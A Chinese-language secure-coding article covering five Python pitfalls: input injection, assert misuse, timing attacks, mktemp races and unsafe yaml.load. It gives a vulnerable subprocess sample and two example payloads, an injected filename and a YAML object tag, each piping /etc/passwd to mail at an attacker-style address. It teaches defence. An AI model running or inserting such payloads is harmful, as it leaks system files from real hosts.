简评:编写安全代码很困难,当你学习一个编程语言、模块或框架时,你会学习其使用方法。 在考虑安全性时,你需要考虑如何避免被滥用,Python 也不例外,即使在标准库中,也存在用于编写应用的不良实践。然而,许多 Python 开发人员却根本不知道它们。
1. 输入注入(Input injection)
注入攻击非常广泛而且很常见,注入有很多种类,它们影响所有的语言、框架和环境。
SQL 注入是直接编写 SQL 查询(而非使用 ORM) 时将字符串字面量与变量混合。我读过很多代码,其中「escaping quotes」被认为是一种修复,但事实并非如此,可以通过这个链接查看 SQL 注入所有可能发生的复杂方式。
命令注入可能在使用 popen、subprocess、os.system 调用一个进程并从变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意值。
下面是个简单的脚本,使用用户提供的文件名调用子进程:
import subprocess
def transcode_file(request, filename):
command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
subprocess.call(command, shell=True) # a bad idea!
攻击者会将 filename 的值设置为“; cat / etc / passwd | mail them@domain.com 或者其他同样危险的东西。
修复:
如果你使用了 Web 框架,可以用附带的实用程序对输入进行清理,除非有充分的理由,否则不要手动构建 SQL 查询,大多数 ORM 都具有内置的消毒方法。
对于 shell,可以使用 shlex 模块正确地转义输入。
2. assert 语句(Assert statements)
不要使用 assert 语句来防止用户访问不应访问的代码段。
def foo(request, user):
assert user.is_admin, “user does not have access”
# secure code...
现在,默认情况下,Python 以 debug 为 true 来执行脚本,但在生产环境中,通常使用优化运行,这将会跳过 assert 语句并直接转到安全代码,而不管用户是否是 is_admin。
修复:
仅在与其他开发人员进行通信时使用 assert 语句,例如在单元测试中或为了防止不正确的 API 使用。
3. 计时攻击(Timing attacks)
计时攻击本质上是一种通过计时比较提供值所需时间来暴露行为和算法的方式。计时攻击需要精确性,所以通常不能用于高延迟的远程网络。由于大多数 Web 应用程序涉及可变延迟,因此几乎不可能在 HTTP Web 服务器上编写计时攻击。
但是,如果你有提示输入密码的命令行应用程序,则攻击者可以编写一个简单的脚本来计算将其值与实际密码进行比较所需的时间。
修复:
使用在 Python 3.5 中引入的 secrets.compare_digest 来比较密码和其他私密值。
4.临时文件(Temporary files)
要在 Python 中创建临时文件,通常使用 mktemp() 函数生成一个文件名,然后使用该名称创建一个文件。 「这是不安全的,因为另一个进程可能会在调用 mktemp() 和随后尝试通过第一个进程创建文件之间的空隙创建一个同名文件。」这意味着应用程序可能加载错误的数据或暴露其他的临时数据。
如果调用不正确的方法,则最新版本的 Python 会抛出运行警告。
修复:
如果需要生成临时文件,请使用 tempfile 模块并使用 mkstemp。
5. 使用 yaml.load
引用 PyYAML 文档:
警告:使用从不可信源接收到的数据来调用 yaml.load 是不安全的! yaml.load 和pickle.load 一样强大,所以可以调用任何 Python 函数。
在流行的 Python 项目 Ansible 中找到的这个美丽的例子,你可以将此值作为(有效)YAML 提供给 Ansible Vault,它使用文件中提供的参数调用 os.system()。
!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]
所以,从用户提供的值中有效地加载 YAML 文件会让应用对攻击打开大门。
修复:
总是使用 yaml.safe_load,除非你有一个非常好的理由。